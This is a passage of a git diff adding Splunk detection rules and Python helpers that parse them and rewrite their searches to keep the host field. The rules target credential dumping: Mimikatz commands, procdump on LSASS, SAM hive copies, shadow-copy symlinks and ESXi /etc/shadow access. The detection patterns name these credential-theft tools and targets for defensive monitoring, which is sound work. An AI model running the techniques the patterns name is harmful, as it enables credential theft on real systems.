sourcetype: XmlWinEventLog diff --git a/scripts/detection_tests/credential_dumping_via_symlink_to_shadow_copy.yml b/scripts/detection_tests/credential_dumping_via_symlink_to_shadow_copy.yml new file mode 100644 index 000000000..0330bd640 --- /dev/null +++ b/scripts/detection_tests/credential_dumping_via_symlink_to_shadow_copy.yml @@ -0,0 +1,67 @@ +name: Credential Dumping via Symlink to Shadow Copy +id: c5eac648-fae0-4263-91a6-773df1f4c903 +version: 12 +date: '2026-03-10' +author: Patrick Bareiss, Splunk +status: production +type: TTP +description: The following analytic detects the creation of a symlink to a shadow copy, which may indicate credential dumping attempts. It leverages the Endpoint.Processes data model in Splunk to identify processes executing commands containing "mklink" and "HarddiskVolumeShadowCopy". This activity is significant because attackers often use this technique to manipulate or delete shadow copies, hindering system backup and recovery efforts. If confirmed malicious, this could prevent data restoration, complicate incident response, and lead to data loss or compromise. Analysts should review the process details, user, parent process, and any related artifacts to identify the attack source. +data_source: + - Sysmon EventID 1 + - Windows Event Log Security 4688 + - CrowdStrike ProcessRollup2 +search: |- + | tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes + WHERE `process_cmd` Processes.process=*mklink* Processes.process=*HarddiskVolumeShadowCopy* + BY Processes.action Processes.dest Processes.original_file_name + Processes.parent_process Processes.parent_process_exec Processes.parent_process_guid + Processes.parent_process_id Processes.parent_process_name Processes.parent_process_path + Processes.process Processes.process_exec Processes.process_guid + Processes.process_hash Processes.process_id Processes.process_integrity_level + Processes.process_name Processes.process_path Processes.user + Processes.user_id Processes.vendor_product + | `drop_dm_object_name(Processes)` + | `security_content_ctime(firstTime)` + | `security_content_ctime(lastTime)` + | `credential_dumping_via_symlink_to_shadow_copy_filter` +how_to_implement: The detection is based on data that originates from Endpoint Detection and Response (EDR) agents. These agents are designed to provide security-related telemetry from the endpoints where the agent is installed. To implement this search, you must ingest logs that contain the process GUID, process name, and parent process. Additionally, you must ingest complete command-line executions. These logs must be processed using the appropriate Splunk Technology Add-ons that are specific to the EDR product. The logs must also be mapped to the `Processes` node of the `Endpoint` data model. Use the Splunk Common Information Model (CIM) to normalize the field names and speed up the data modeling process. +known_false_positives: No false positives have been identified at this time. +references: + - https://2017.zeronights.org/wp-content/uploads/materials/ZN17_Kheirkhabarov_Hunting_for_Credentials_Dumping_in_Windows_Environment.pdf +drilldown_searches: + - name: View the detection results for - "$user$" and "$dest$" + search: '%original_detection_search% | search user = "$user$" dest = "$dest$"' + earliest_offset: $info_min_time$ + latest_offset: $info_max_time$ + - name: View risk events for the last 7 days for - "$user$" and "$dest$" + search: '| from datamodel Risk.All_Risk | search normalized_risk_object IN ("$user$", "$dest$") starthoursago=168 | stats count min(_time) as firstTime max(_time) as lastTime values(search_name) as "Search Name" values(risk_message) as "Risk Message" values(analyticstories) as "Analytic Stories" values(annotations._all) as "Annotations" values(annotations.mitre_attack.mitre_tactic) as "ATT&CK Tactics" by normalized_risk_object | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`' + earliest_offset: $info_min_time$ + latest_offset: $info_max_time$ +rba: + message: An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to create symlink to a shadow copy to grab credentials. + risk_objects: + - field: user + type: user + score: 50 + - field: dest + type: system + score: 50 + threat_objects: [] +tags: + analytic_story: + - Compromised Windows Host + - Credential Dumping + asset_type: Endpoint + mitre_attack_id: + - T1003.003 + product: + - Splunk Enterprise + - Splunk Enterprise Security + - Splunk Cloud + security_domain: endpoint +tests: + - name: True Positive Test + attack_data: + - data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1003.003/atomic_red_team/windows-sysmon.log + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational + sourcetype: XmlWinEventLog diff --git a/scripts/detection_tests/detect_copy_of_shadowcopy_with_script_block_logging.yml b/scripts/detection_tests/detect_copy_of_shadowcopy_with_script_block_logging.yml new file mode 100644 index 000000000..c4c799025 --- /dev/null +++ b/scripts/detection_tests/detect_copy_of_shadowcopy_with_script_block_logging.yml @@ -0,0 +1,56 @@ +name: Detect Copy of ShadowCopy with Script Block Logging +id: 9251299c-ea5b-11eb-a8de-acde48001122 +version: 10 +date: '2026-03-10' +author: Michael Haag, Splunk +status: production +type: TTP +description: The following analytic detects the use of PowerShell commands to copy the SAM, SYSTEM, or SECURITY hives, which are critical for credential theft. It leverages PowerShell Script Block Logging (EventCode=4104) to capture and analyze the full command executed. This activity is significant as it indicates an attempt to exfiltrate sensitive registry hives for offline password cracking. If confirmed malicious, this could lead to unauthorized access to credentials, enabling further compromise of the system and potential lateral movement within the network. +data_source: + - Powershell Script Block Logging 4104 +search: '`powershell` EventCode=4104 ScriptBlockText IN ("*copy*","*[System.IO.File]::Copy*") AND ScriptBlockText IN ("*System32\\config\\SAM*", "*System32\\config\\SYSTEM*","*System32\\config\\SECURITY*") | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by dest signature signature_id user_id vendor_product EventID Guid Opcode Name Path ProcessID ScriptBlockId ScriptBlockText | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_copy_of_shadowcopy_with_script_block_logging_filter`' +how_to_implement: To successfully implement this analytic, you will need to enable PowerShell Script Block Logging on some or all endpoints. Additional setup here https://help.splunk.com/en/security-offerings/splunk-user-behavior-analytics/get-data-in/5.4.1/add-other-data-to-splunk-uba/configure-powershell-logging-to-see-powershell-anomalies-in-splunk-uba. +known_false_positives: Limited false positives as the scope is limited to SAM, SYSTEM and SECURITY hives. +references: + - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934 + - https://github.com/GossiTheDog/HiveNightmare + - https://github.com/JumpsecLabs/Guidance-Advice/tree/main/SAM_Permissions +drilldown_searches: + - name: View the detection results for - "$user_id$" and "$dest$" + search: '%original_detection_search% | search user_id = "$user_id$" dest = "$dest$"' + earliest_offset: $info_min_time$ + latest_offset: $info_max_time$ + - name: View risk events for the last 7 days for - "$user_id$" and "$dest$" + search: '| from datamodel Risk.All_Risk | search normalized_risk_object IN ("$user_id$", "$dest$") starthoursago=168 | stats count min(_time) as firstTime max(_time) as lastTime values(search_name) as "Search Name" values(risk_message) as "Risk Message" values(analyticstories) as "Analytic Stories" values(annotations._all) as "Annotations" values(annotations.mitre_attack.mitre_tactic) as "ATT&CK Tactics" by normalized_risk_object | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`' + earliest_offset: $info_min_time$ + latest_offset: $info_max_time$ +rba: + message: PowerShell was identified running a script to capture the SAM hive on endpoint $dest$ by user $user_id$. + risk_objects: + - field: user_id + type: user + score: 50 + - field: dest + type: system + score: 50 + threat_objects: [] +tags: + analytic_story: + - Credential Dumping + - VanHelsing Ransomware + asset_type: Endpoint + cve: + - CVE-2021-36934 + mitre_attack_id: + - T1003.002 + product: + - Splunk Enterprise + - Splunk Enterprise Security + - Splunk Cloud + security_domain: endpoint +tests: + - name: True Positive Test + attack_data: + - data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1003.002/detect_copy_of_shadowcopy_with_script_block_logging/windows-xml.log + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational + sourcetype: XmlWinEventLog diff --git a/scripts/detection_tests/detect_mimikatz_with_powershell_script_block_logging.yml b/scripts/detection_tests/detect_mimikatz_with_powershell_script_block_logging.yml new file mode 100644 index 000000000..607f2cf51 --- /dev/null +++ b/scripts/detection_tests/detect_mimikatz_with_powershell_script_block_logging.yml @@ -0,0 +1,75 @@ +name: Detect Mimikatz With PowerShell Script Block Logging +id: 8148c29c-c952-11eb-9255-acde48001122 +version: 13 +date: '2026-03-10' +author: Michael Haag, Splunk +status: production +type: TTP +description: The following analytic detects the execution of Mimikatz commands via PowerShell by leveraging PowerShell Script Block Logging (EventCode=4104). This method captures and logs the full command sent to PowerShell, allowing for the identification of suspicious activities such as Pass the Ticket, Pass the Hash, and credential dumping. This activity is significant as Mimikatz is a well-known tool used for credential theft and lateral movement. If confirmed malicious, this could lead to unauthorized access, privilege escalation, and potential compromise of sensitive information within the environment. +data_source: + - Powershell Script Block Logging 4104 +search: |- + `powershell` EventCode=4104 ScriptBlockText IN (*mimikatz*, *-dumpcr*, *sekurlsa::pth*, *kerberos::ptt*, *kerberos::golden*) + | fillnull + | stats count min(_time) as firstTime max(_time) as lastTime + BY dest signature signature_id + user_id vendor_product EventID + Guid Opcode Name + Path ProcessID ScriptBlockId + ScriptBlockText + | `security_content_ctime(firstTime)` + | `security_content_ctime(lastTime)` + | `detect_mimikatz_with_powershell_script_block_logging_filter` +how_to_implement: To successfully implement this analytic, you will need to enable PowerShell Script Block Logging on some or all endpoints. Additional setup here https://help.splunk.com/en/security-offerings/splunk-user-behavior-analytics/get-data-in/5.4.1/add-other-data-to-splunk-uba/configure-powershell-logging-to-see-powershell-anomalies-in-splunk-uba. +known_false_positives: False positives should be limited as the commands being identifies are quite specific to EventCode 4104 and Mimikatz. Filter as needed. +references: + - https://help.splunk.com/en/security-offerings/splunk-user-behavior-analytics/get-data-in/5.4.1/add-other-data-to-splunk-uba/configure-powershell-logging-to-see-powershell-anomalies-in-splunk-uba. + - https://blog.palantir.com/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63 + - https://static1.squarespace.com/static/552092d5e4b0661088167e5c/t/59c1814829f18782e24f1fe2/1505853768977/Windows+PowerShell+Logging+Cheat+Sheet+ver+Sept+2017+v2.1.pdf + - https://www.crowdstrike.com/blog/investigating-powershell-command-and-script-logging/ + - https://www.splunk.com/en_us/blog/security/hunting-for-malicious-powershell-using-script-block-logging.html +drilldown_searches: + - name: View the detection results for - "$user$" and "$Computer$" + search: '%original_detection_search% | search user = "$user$" Computer = "$Computer$"' + earliest_offset: $info_min_time$ + latest_offset: $info_max_time$ + - name: View risk events for the last 7 days for - "$user$" and "$Computer$" + search: '| from datamodel Risk.All_Risk | search normalized_risk_object IN ("$user$", "$Computer$") starthoursago=168 | stats count min(_time) as firstTime max(_time) as lastTime values(search_name) as "Search Name" values(risk_message) as "Risk Message" values(analyticstories) as "Analytic Stories" values(annotations._all) as "Annotations" values(annotations.mitre_attack.mitre_tactic) as "ATT&CK Tactics" by normalized_risk_object | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`' + earliest_offset: $info_min_time$ + latest_offset: $info_max_time$ +rba: + message: The following behavior was identified and typically related to MimiKatz being loaded within the context of PowerShell on $dest$ by $user_id$. + risk_objects: + - field: user_id + type: user + score: 50 + - field: dest + type: system + score: 50 + threat_objects: [] +tags: + analytic_story: + - Hellcat Ransomware + - Malicious PowerShell + - Hermetic Wiper + - Sandworm Tools + - CISA AA22-264A + - CISA AA22-320A + - CISA AA23-347A + - Data Destruction + - Scattered Spider + asset_type: Endpoint + mitre_attack_id: + - T1003 + - T1059.001 + product: + - Splunk Enterprise + - Splunk Enterprise Security + - Splunk Cloud + security_domain: endpoint +tests: + - name: True Positive Test + attack_data: + - data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1059.001/powershell_script_block_logging/credaccess-powershell.log + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational + sourcetype: XmlWinEventLog diff --git a/scripts/detection_tests/dump_lsass_via_procdump.yml b/scripts/detection_tests/dump_lsass_via_procdump.yml new file mode 100644 index 000000000..a247c8397 --- /dev/null +++ b/scripts/detection_tests/dump_lsass_via_procdump.yml @@ -0,0 +1,116 @@ +name: Dump LSASS via procdump +id: 3742ebfe-64c2-11eb-ae93-0242ac130002 +version: 18 +date: '2026-03-10' +author: Michael Haag, Splunk +status: production +type: TTP +description: | + The following analytic detects the use of procdump.exe to dump the LSASS + process, specifically looking for the -mm and -ma command-line arguments. It leverages + data from Endpoint Detection and Response (EDR) agents, focusing on process names, + command-line executions, and parent processes. This activity is significant because + dumping LSASS can expose sensitive credentials, posing a severe security risk. If + confirmed malicious, an attacker could obtain credentials, escalate privileges, + and move laterally within the network, leading to potential data breaches and further + compromise of the environment. +data_source: + - Sysmon EventID 1 + - Windows Event Log Security 4688 + - CrowdStrike ProcessRollup2 +search: | + | tstats `security_content_summariesonly` + count min(_time) as firstTime + max(_time) as lastTime + + from datamodel=Endpoint.Processes where + + ( + Processes.process_name IN ( + "procdump.exe", + "procdump64.exe", + "procdump64a.exe" + ) + OR + Processes.original_file_name=procdump + ) + Processes.process IN (*-ma*, *-mm*, "*-mp*", */ma*, */mm*, "*/mp*") + Processes.process IN (* ls*, "* keyiso*", "* samss*") + + by Processes.action Processes.dest Processes.original_file_name Processes.parent_process + Processes.parent_process_exec Processes.parent_process_guid Processes.parent_process_id + Processes.parent_process_name Processes.parent_process_path Processes.process Processes.process_exec + Processes.process_guid Processes.process_hash Processes.process_id Processes.process_integrity_level + Processes.process_name Processes.process_path Processes.user Processes.user_id Processes.vendor_product + + | `drop_dm_object_name(Processes)` + | `security_content_ctime(firstTime)` + | `security_content_ctime(lastTime)` + | `dump_lsass_via_procdump_filter` +how_to_implement: | + The detection is based on data that originates from Endpoint Detection + and Response (EDR) agents. These agents are designed to provide security-related + telemetry from the endpoints where the agent is installed. To implement this search, + you must ingest logs that contain the process GUID, process name, and parent process. + Additionally, you must ingest complete command-line executions. These logs must + be processed using the appropriate Splunk Technology Add-ons that are specific to + the EDR product. The logs must also be mapped to the `Processes` node of the `Endpoint` + data model. Use the Splunk Common Information Model (CIM) to normalize the field + names and speed up the data modeling process. +known_false_positives: No false positives have been identified at this time. +references: + - https://attack.mitre.org/techniques/T1003/001/ + - https://docs.microsoft.com/en-us/sysinternals/downloads/procdump + - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.001/T1003.001.md#atomic-test-2---dump-lsassexe-memory-using-procdump + - https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/ + - https://x.com/wietze/status/1958302556033065292?s=12 +drilldown_searches: + - name: View the detection results for - "$user$" and "$dest$" + search: '%original_detection_search% | search user = "$user$" dest = "$dest$"' + earliest_offset: $info_min_time$ + latest_offset: $info_max_time$ + - name: View risk events for the last 7 days for - "$user$" and "$dest$" + search: '| from datamodel Risk.All_Risk | search normalized_risk_object IN ("$user$", "$dest$") starthoursago=168 | stats count min(_time) as firstTime max(_time) as lastTime values(search_name) as "Search Name" values(risk_message) as "Risk Message" values(analyticstories) as "Analytic Stories" values(annotations._all) as "Annotations" values(annotations.mitre_attack.mitre_tactic) as "ATT&CK Tactics" by normalized_risk_object | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`' + earliest_offset: $info_min_time$ + latest_offset: $info_max_time$ +rba: + message: An instance of $parent_process_name$ spawning $process_name$ was identified attempting to dump lsass.exe via the command $process$ on endpoint $dest$ by user $user$. + risk_objects: + - field: user + type: user + score: 50 + - field: dest + type: system + score: 50 + threat_objects: + - field: parent_process_name + type: parent_process_name + - field: process_name + type: process_name +tags: + analytic_story: + - CISA AA22-257A + - HAFNIUM Group + - Compromised Windows Host + - Credential Dumping + - Seashell Blizzard + - Storm-2460 CLFS Zero Day Exploitation + asset_type: Endpoint + mitre_attack_id: + - T1003.001 + product: + - Splunk Enterprise + - Splunk Enterprise Security + - Splunk Cloud + security_domain: endpoint +tests: + - name: True Positive Test + attack_data: + - data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1003.001/atomic_red_team/windows-sysmon.log + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational + sourcetype: XmlWinEventLog + - name: True Positive Test + attack_data: + - data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1003.001/atomic_red_team/crowdstrike_falcon.log + source: crowdstrike + sourcetype: crowdstrike:events:sensor diff --git a/scripts/detection_tests/esxi_sensitive_files_accessed.yml b/scripts/detection_tests/esxi_sensitive_files_accessed.yml new file mode 100644 index 000000000..7477a57d7 --- /dev/null +++ b/scripts/detection_tests/esxi_sensitive_files_accessed.yml @@ -0,0 +1,49 @@ +name: ESXi Sensitive Files Accessed +id: 6fa0073d-6ca0-4f93-913d-fb420c9de15b +version: 3 +date: '2026-03-10' +author: Raven Tait, Splunk +status: production +type: TTP +description: This detection identifies access to sensitive system and configuration files on an ESXi host, including authentication data, service configurations, and VMware-specific management settings. Interaction with these files may indicate adversary reconnaissance, credential harvesting, or preparation for privilege escalation, lateral movement, or persistence. +data_source: + - VMWare ESXi Syslog +search: '`esxi_syslog` Message="*shell[*" Message IN ("*/etc/shadow*","*/etc/vmware/hostd/hostd.xml*", "*/etc/vmware/vpxa/vpxa.cfg*","*/etc/sfcb/sfcb.cfg*","*/etc/security/*", "*/etc/likewise/krb5-affinity.conf*","*/etc/vmware-vpx/vcdb.properties*") | rex field=_raw "\]: \[(?\w+)\]:(?.+)" | rex field=_raw "Z (?[\w\.]+)\s" | stats min(_time) as firstTime max(_time) as lastTime count by dest user command | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `esxi_sensitive_files_accessed_filter`' +how_to_implement: This is based on syslog data generated by VMware ESXi hosts. To implement this search, you must configure your ESXi systems to forward syslog output to your Splunk deployment. These logs must be ingested with the appropriate Splunk Technology Add-on for VMware ESXi Logs, which provides field extractions and CIM compatibility. +known_false_positives: Administrators may access these files for initial setup or troubleshooting. Limited in most environments. Tune as needed. +drilldown_searches: + - name: View the detection results for - "$dest$" + search: '%original_detection_search% | search dest = "$dest$"' + earliest_offset: $info_min_time$ + latest_offset: $info_max_time$ + - name: View risk events for the last 7 days for - "$dest$" + search: '| from datamodel Risk.All_Risk | search normalized_risk_object IN ("$dest$") starthoursago=168 | stats count min(_time) as firstTime max(_time) as lastTime values(search_name) as "Search Name" values(risk_message) as "Risk Message" values(analyticstories) as "Analytic Stories" values(annotations._all) as "Annotations" values(annotations.mitre_attack.mitre_tactic) as "ATT&CK Tactics" by normalized_risk_object | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`' + earliest_offset: $info_min_time$ + latest_offset: $info_max_time$ +rba: + message: Sensitive files accessed on ESXi host $dest$ with $command$. + risk_objects: + - field: dest + type: system + score: 50 + threat_objects: [] +tags: + analytic_story: + - ESXi Post Compromise + - Black Basta Ransomware + - China-Nexus Threat Activity + asset_type: Infrastructure + mitre_attack_id: + - T1003.008 + - T1005 + product: + - Splunk Enterprise + - Splunk Enterprise Security + - Splunk Cloud + security_domain: endpoint +tests: + - name: True Positive Test + attack_data: + - data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1003.008/esxi_sensitive_files/esxi_sensitive_files.log + source: vmware:esxlog + sourcetype: vmw-syslog diff --git a/scripts/detection_tests/o365_privileged_graph_api_permission_assigned.yml b/scripts/detection_tests/o365_privileged_graph_api_permission_assigned.yml new file mode 100644 index 000000000..9b3682abc --- /dev/null +++ b/scripts/detection_tests/o365_privileged_graph_api_permission_assigned.yml @@ -0,0 +1,53 @@ +name: O365 Privileged Graph API Permission Assigned +id: 868f3131-d5e1-4bf1-af5b-9b0fbaaaedbb +version: 7 +date: '2026-03-10' +author: Mauricio Velazco, Splunk +status: production +type: TTP +data_source: + - O365 Update application. +description: The following analytic detects the assignment of critical Graph API permissions in Azure AD using the O365 Unified Audit Log. It focuses on permissions such as Application.ReadWrite.All, AppRoleAssignment.ReadWrite.All, and RoleManagement.ReadWrite.Directory. The detection method leverages Azure Active Directory workload events, specifically 'Update application' operations. This activity is significant as these permissions provide extensive control over Azure AD settings, posing a high risk if misused. If confirmed malicious, this could allow unauthorized modifications, leading to potential data breaches or privilege escalation. Immediate investigation is crucial. +search: "`o365_management_activity` Workload=AzureActiveDirectory Operation=\"Update application.\" | eval newvalue = mvindex('ModifiedProperties{}.NewValue',0) | spath input=newvalue | search \"{}.RequiredAppPermissions{}.EntitlementId\"=\"1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9\" OR \"{}.RequiredAppPermissions{}.EntitlementId\"=\"06b708a9-e830-4db3-a914-8e69da51d44f\" OR \"{}.RequiredAppPermissions{}.EntitlementId\"=\"9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8\" | eval Permissions = '{}.RequiredAppPermissions{}.EntitlementId' | fillnull | stats count earliest(_time) as firstTime latest(_time) as lastTime values(Permissions) by user src object user_agent signature vendor_account vendor_product dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_privileged_graph_api_permission_assigned_filter`" +how_to_implement: You must install the Splunk Microsoft Office 365 Add-on and ingest Office 365 management activity events. +known_false_positives: Privileged Graph API permissions may be assigned for legitimate purposes. Filter as needed. +references: + - https://cloudbrothers.info/en/azure-attack-paths/ + - https://github.com/mandiant/Mandiant-Azure-AD-Investigator/blob/master/MandiantAzureADInvestigator.json + - https://learn.microsoft.com/en-us/graph/permissions-reference + - https://www.microsoft.com/en-us/security/blog/2024/01/25/midnight-blizzard-guidance-for-responders-on-nation-state-attack/ + - https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48 +drilldown_searches: + - name: View the detection results for - "$user$" + search: '%original_detection_search% | search user = "$user$"' + earliest_offset: $info_min_time$ + latest_offset: $info_max_time$ + - name: View risk events for the last 7 days for - "$user$" + search: '| from datamodel Risk.All_Risk | search normalized_risk_object IN ("$user$") starthoursago=168 | stats count min(_time) as firstTime max(_time) as lastTime values(search_name) as "Search Name" values(risk_message) as "Risk Message" values(analyticstories) as "Analytic Stories" values(annotations._all) as "Annotations" values(annotations.mitre_attack.mitre_tactic) as "ATT&CK Tactics" by normalized_risk_object | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`' + earliest_offset: $info_min_time$ + latest_offset: $info_max_time$ +rba: + message: User $user$ assigned privileged Graph API permissions to $object$ + risk_objects: + - field: user + type: user + score: 50 + threat_objects: [] +tags: + analytic_story: + - Office 365 Persistence Mechanisms + - NOBELIUM Group + asset_type: O365 Tenant + mitre_attack_id: + - T1003.002 + product: + - Splunk Enterprise + - Splunk Enterprise Security + - Splunk Cloud + security_domain: identity +tests: + - name: True Positive Test + attack_data: + - data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1098.003/o365_privileged_graph_perm_assigned/o365_privileged_graph_perm_assigned.log + sourcetype: o365:management:activity + source: o365 diff --git a/scripts/detection_utils.py b/scripts/detection_utils.py new file mode 100644 index 000000000..a24989315 --- /dev/null +++ b/scripts/detection_utils.py @@ -0,0 +1,277 @@ +#!/usr/bin/env python3 +""" +Splunk security_content detection helpers. + +Provides discovery and parsing of detection YAML files (from +https://github.com/splunk/security_content) and, crucially, a function that +rewrites a detection's SPL so that the ``host`` field is retained as an output +field. + +Why rewrite the search? Every attack data event is uploaded with its own unique +UUID as the Splunk ``host``. If a detection outputs ``host`` we learn exactly +which uploaded events triggered it, which is what lets us export only the data +that produced detection results (``index=test host IN (uuid1, uuid2, ...)``). + +The rewrite is heuristic but covers the common security_content patterns: + * ``stats`` / ``tstats`` / ``eventstats`` / ``streamstats`` / ``sistats``: + ``host`` is appended to the ``by`` clause (or ``by host`` is added when the + aggregation has none), so the aggregation is grouped per host and emits it. + * ``table`` / ``fields``: ``host`` is appended to the field list so it is not + projected away. +Raw (non-aggregating) searches already carry ``host`` through to the output. +""" + +import re +from pathlib import Path +from typing import Any, Dict, List, Optional +from urllib.parse import urlparse + +import yaml + +STATS_COMMANDS = ("tstats", "sistats", "stats", "eventstats", "streamstats") +PROJECT_COMMANDS = ("table", "fields") +IGNORED_DETECTION_STATUSES = frozenset({"experimental", "deprecated"}) +ATTACK_DATA_GITHUB_BASE = ( + "https://media.githubusercontent.com/media/splunk/attack_data/master" +) + + +def find_detection_files(path: str) -> List[Path]: + """Return detection YAML files for a single file or a folder (recursive).""" + p = Path(path) + if p.is_file(): + return [p] if p.suffix.lower() in (".yml", ".yaml") else [] + if not p.is_dir(): + return [] + files: List[Path] = [] + for pattern in ("**/*.yml", "**/*.yaml"): + files.extend(p.glob(pattern)) + files = [f for f in files if not f.name.startswith("ssa___")] + return sorted(set(files)) + + +def parse_detection_file(file_path: Path) -> Optional[Dict[str, Any]]: + """Parse a detection YAML file into a dict, or None if it is not a detection.""" + try: + with open(file_path, "r", encoding="utf-8") as handle: + data = yaml.safe_load(handle) + except (yaml.YAMLError, OSError): + return None + + if not isinstance(data, dict): + return None + search = data.get("search") + name = data.get("name") + if not search or not name: + return None + + return { + "file": str(file_path), + "name": name, + "id": data.get("id", ""), + "type": data.get("type", ""), + "status": data.get("status", ""), + "search": search, + } + + +def load_full_detection(file_path: Path) -> Optional[Dict[str, Any]]: + """Parse a detection YAML file including id, name, search, and tests.""" + try: + with open(file_path, "r", encoding="utf-8") as handle: + data = yaml.safe_load(handle) + except (yaml.YAMLError, OSError): + return None + + if not isinstance(data, dict): + return None + search = data.get("search") + name = data.get("name") + if not search or not name: + return None + + return { + "file": str(file_path), + "name": name, + "id": data.get("id", ""), + "type": data.get("type", ""), + "status": data.get("status", ""), + "search": search, + "tests": data.get("tests", []), + } + + +def parse_detection_tests(detection_data: Dict[str, Any]) -> List[Dict[str, str]]: + """Extract ``attack_data`` entries from a detection's ``tests`` section.""" + entries: List[Dict[str, str]] = [] + for test in detection_data.get("tests", []) or []: + if not isinstance(test, dict): + continue + for attack_data in test.get("attack_data", []) or []: + if not isinstance(attack_data, dict): + continue + data_url = attack_data.get("data") + if not data_url: + continue + entry: Dict[str, str] = {"data_url": str(data_url)} + if attack_data.get("source"): + entry["source"] = str(attack_data["source"]) + if attack_data.get("sourcetype"): + entry["sourcetype"] = str(attack_data["sourcetype"]) + entries.append(entry) + return entries + + +def github_url_to_repo_path(url: str) -> Optional[str]: + """Convert an attack_data GitHub media URL to a repo-relative ``/datasets/...`` path.""" + if not url: + return None + + parsed = urlparse(url.strip()) + path = parsed.path.lstrip("/") + marker = "splunk/attack_data/master/" + if marker in path: + path = path.split(marker, 1)[1] + elif path.startswith("datasets/"): + pass + else: + return None + + if not path.startswith("datasets/"): + path = f"datasets/{path}" + return f"/{path}" + + +def path_to_attack_data_url(path: str) -> str: + """Convert a repo dataset path to the attack_data GitHub raw URL.""" + clean = path.lstrip("/") + if not clean.startswith("datasets/"): + clean = f"datasets/{clean}" + return f"{ATTACK_DATA_GITHUB_BASE}/{clean}" + + +def is_ignored_detection_status(status: str) -> bool: + """Return True when a detection YAML status should not be run (e.g. experimental).""" + return status.strip().lower() in IGNORED_DETECTION_STATUSES + + +def split_pipeline(search: str) -> List[str]: + """Split an SPL string on top-level pipes. + + Pipes inside single/double quotes or inside (), [], {} are ignored so we do + not break subsearches, eval expressions, or quoted strings. + """ + stages: List[str] = [] + current: List[str] = [] + depth = 0 + quote: Optional[str] = None + + for char in search: + if quote: + current.append(char) + if char == quote: + quote = None + continue + if char in ("'", '"'): + quote = char + current.append(char) + continue + if char in "([{": + depth += 1 + current.append(char) + continue + if char in ")]}": + depth = max(0, depth - 1) + current.append(char) + continue + if char == "|" and depth == 0: + stages.append("".join(current)) + current = [] + continue + current.append(char) + + stages.append("".join(current)) + return stages + + +def _has_host_token(text: str) -> bool: + return re.search(r"\bhost\b", text, flags=re.IGNORECASE) is not None + + +def _command_of(stage: str) -> str: + stripped = stage.strip() + if not stripped: + return "" + return stripped.split(None, 1)[0].lower() + + +def _add_host_to_stats(stage: str) -> str: + """Ensure a stats-family stage groups by / emits host.""" + # Locate a top-level ' by ' within this single stage (no pipes here). + match = re.search(r"\bby\b", stage, flags=re.IGNORECASE) + if match: + by_clause = stage[match.end():] + if _has_host_token(by_clause): + return stage + # Append host to the existing by-field list, preserving trailing space. + stripped = stage.rstrip() + trailing = stage[len(stripped):] + return f"{stripped}, host{trailing}" + # No by clause: add one so host is emitted per unique host. + stripped = stage.rstrip() + trailing = stage[len(stripped):] or " " + return f"{stripped} by host{trailing}" + + +def _add_host_to_projection(stage: str) -> str: + """Ensure a table/fields stage keeps host in its projected field list.""" + if _has_host_token(stage): + return stage + stripped = stage.rstrip() + trailing = stage[len(stripped):] + return f"{stripped}, host{trailing}" + + +def _is_filter_macro_stage(stage: str) -> bool: + """Return True when a pipeline stage is a security_content ``*_filter`` macro.""" + stripped = stage.strip() + return re.fullmatch(r"`[^`]+_filter`", stripped) is not None + + +def remove_where_and_following(search: str) -> str: + """Drop the first ``where`` pipeline stage and everything after it.""" + stages = split_pipeline(search) + for index, stage in enumerate(stages): + if _command_of(stage) == "where": + return "|".join(stages[:index]) + return search + + +def remove_trailing_filter_macro(search: str) -> str: + """Drop the terminal ``*_filter`` macro stage from a detection search.""" + stages = split_pipeline(search) + if stages and _is_filter_macro_stage(stages[-1]): + stages = stages[:-1] + return "|".join(stages) + + +def prepare_detection_search(search: str) -> str: + """Rewrite a detection search for execution in the migrate pipeline.""" + rewritten = remove_where_and_following(search) + rewritten = remove_trailing_filter_macro(rewritten) + return add_host_output_field(rewritten) + + +def add_host_output_field(search: str) -> str: + """Rewrite an SPL search so that ``host`` survives to the output.""" + stages = split_pipeline(search) + rewritten: List[str] = [] + for stage in stages: + command = _command_of(stage) + if command in STATS_COMMANDS: + rewritten.append(_add_host_to_stats(stage)) + elif command in PROJECT_COMMANDS: + rewritten.append(_add_host_to_projection(stage)) + else: + rewritten.append(stage) + return "|".join(rewritten) diff --git a/scripts/memory_store.py b/scripts/memory_store.py new file mode 100644 index 000000000..611149d41 --- /dev/null +++ b/scripts/memory_store.py @@ -0,0 +1,108 @@ +#!/usr/bin/env python3 +""" +In-memory store for the attack_data -> Splunk pipeline. + +Records, per attack data file: + * the individual event UUIDs uploaded (the ``host`` value of every event), and + * which of those event UUIDs were matched by which security_content detection. + +State lives only for the lifetime of the current process. +""" + +from typing import Any, Dict, List, Set + + +class MigrationStore: + """Process-local store for 